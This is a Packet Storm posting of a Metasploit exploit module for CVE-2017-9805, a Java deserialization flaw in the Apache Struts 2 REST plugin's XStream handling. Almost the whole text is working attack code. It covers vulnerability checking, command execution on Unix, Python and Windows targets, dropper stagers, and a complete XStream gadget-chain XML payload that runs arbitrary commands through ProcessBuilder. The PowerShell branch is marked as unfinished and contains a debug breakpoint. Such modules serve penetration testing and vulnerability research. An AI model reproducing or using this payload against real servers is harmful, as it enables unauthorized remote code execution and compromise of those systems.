Apache Struts 2 REST Plugin XStream Remote Code Execution

2017-09-07T00:00:00
ID PACKETSTORM:144034
Type packetstorm
Reporter wvu
Modified 2017-09-07T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts 2 REST Plugin XStream RCE',  
'Description' => %q{  
Apache Struts versions 2.5 through 2.5.12 using the REST plugin are  
vulnerable to a Java deserialization attack in the XStream library.  
},  
'Author' => [  
'Man Yue Mo', # Vulnerability discovery  
'wvu' # Metasploit module  
],  
'References' => [  
['CVE', '2017-9805'],  
['URL', 'https://struts.apache.org/docs/s2-052.html'],  
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement'],  
['URL', 'https://github.com/mbechler/marshalsec']  
],  
'DisclosureDate' => 'Sep 5 2017',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'python', 'linux', 'win'],  
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
['Unix (In-Memory)',  
'Platform' => 'unix',  
'Arch' => ARCH_CMD  
],  
['Python (In-Memory)',  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON  
],  
['PowerShell (In-Memory)',  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64]  
],  
['Linux (Dropper)',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64]  
],  
['Windows (Dropper)',  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64]  
]  
],  
'DefaultTarget' => 0  
))  
  
register_options([  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'Path to Struts action', '/struts2-rest-showcase/orders/3'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => target_uri.path,  
'ctype' => 'application/xml',  
'data' => random_crap  
)  
  
if res && res.code == 500 && res.body.include?('xstream')  
CheckCode::Appears  
else  
CheckCode::Safe  
end  
end  
  
def exploit  
case target.name  
when /Unix/, /Python/, /PowerShell/  
execute_command(payload.encoded)  
else  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, opts = {})  
case target.name  
when /Unix/, /Linux/  
cmd = %W{/bin/sh -c #{cmd}}  
when /Python/  
cmd = %W{python -c #{cmd}}  
when /PowerShell/  
# This shit doesn't work yet  
require 'pry'; binding.pry  
cmd = %W{cmd.exe /c #{cmd_psh_payload(cmd, payload.arch, remove_comspec: true)}}  
when /Windows/  
cmd = %W{cmd.exe /c #{cmd}}  
end  
  
# Encode each command argument with HTML entities  
cmd.map! { |arg| Rex::Text.html_encode(arg) }  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => target_uri.path,  
'ctype' => 'application/xml',  
'data' => xstream_payload(cmd)  
)  
end  
  
# java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO  
def xstream_payload(cmd)  
# XXX: <spillLength> and <read> need to be removed for Windows  
<<EOF  
<map>  
<entry>  
<jdk.nashorn.internal.objects.NativeString>  
<flags>0</flags>  
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">  
<dataHandler>  
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">  
<is class="javax.crypto.CipherInputStream">  
<cipher class="javax.crypto.NullCipher">  
<initialized>false</initialized>  
<opmode>0</opmode>  
<serviceIterator class="javax.imageio.spi.FilterIterator">  
<iter class="javax.imageio.spi.FilterIterator">  
<iter class="java.util.Collections$EmptyIterator"/>  
<next class="java.lang.ProcessBuilder">  
<command>  
<string>#{cmd.join('</string><string>')}</string>  
</command>  
<redirectErrorStream>false</redirectErrorStream>  
</next>  
</iter>  
<filter class="javax.imageio.ImageIO$ContainsFilter">  
<method>  
<class>java.lang.ProcessBuilder</class>  
<name>start</name>  
<parameter-types/>  
</method>  
<name>#{random_crap}</name>  
</filter>  
<next class="string">#{random_crap}</next>  
</serviceIterator>  
<lock/>  
</cipher>  
<input class="java.lang.ProcessBuilder$NullInputStream"/>  
<ibuffer></ibuffer>  
<done>false</done>  
<ostart>0</ostart>  
<ofinish>0</ofinish>  
<closed>false</closed>  
</is>  
<consumed>false</consumed>  
</dataSource>  
<transferFlavors/>  
</dataHandler>  
<dataLen>0</dataLen>  
</value>  
</jdk.nashorn.internal.objects.NativeString>  
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>  
</entry>  
<entry>  
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
</entry>  
</map>  
EOF  
end  
  
def random_crap  
Rex::Text.rand_text_alphanumeric(rand(42) + 1)  
end  
  
end  
  
  
`